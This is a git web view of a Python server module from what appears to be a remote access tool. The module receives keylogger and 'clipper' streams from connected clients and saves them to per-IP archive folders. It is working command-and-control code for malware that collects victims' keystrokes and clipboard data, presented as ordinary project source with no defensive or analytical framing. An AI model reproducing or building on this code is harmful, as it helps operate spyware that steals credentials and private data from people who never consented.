summaryrefslogtreecommitdiff
path: root/server/modules/logger.py
blob: 4adaf79b3f32bce17f1a35edfb54e8127adb737d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
'''
    Handles the keylogger & clipper stream module
    connections. Simply writes to files logging
    the data sent from the client in intervals.

    Verified: 2021 February 7
    * Follows PEP8
    * Tested Platforms
        * Windows 10
'''

from server.state import ServerStatic, Dynamic
from server.modules.module import Module
from server.helper import ServerHelper
from shared.helper import Helper
from shared.error import Error
from shared.data import Data

import os


class Logger(Module):

    def __init__(self, logger_type, conn, token, connect_ip):
        super().__init__(conn, token, connect_ip)
        self.__module = logger_type.capitalize()
        self.__logger_type = logger_type

    def __str__(self):
        return self.__module

    @Error.quiet_thread
    def __recv(self):
        try:
            with self.conn as sock:
                dirpath = os.path.join(ServerStatic.ARCHIVE_DIR,
                                       self.safe_connect_ip,
                                       self.__logger_type)
                filepath = os.path.join(
                    dirpath, ServerHelper.filename('txt'))

                while True:
                    data = Data.recv(sock, True)

                    if data:
                        if not os.path.isdir(dirpath):
                            os.makedirs(dirpath, exist_ok=True)

                        Helper.write_file(filepath, data)

                    Data.send(sock)
        finally:
            del Dynamic.MODULES[self.token]

    def live(self, *args):
        Helper.thread(self.__recv, *args)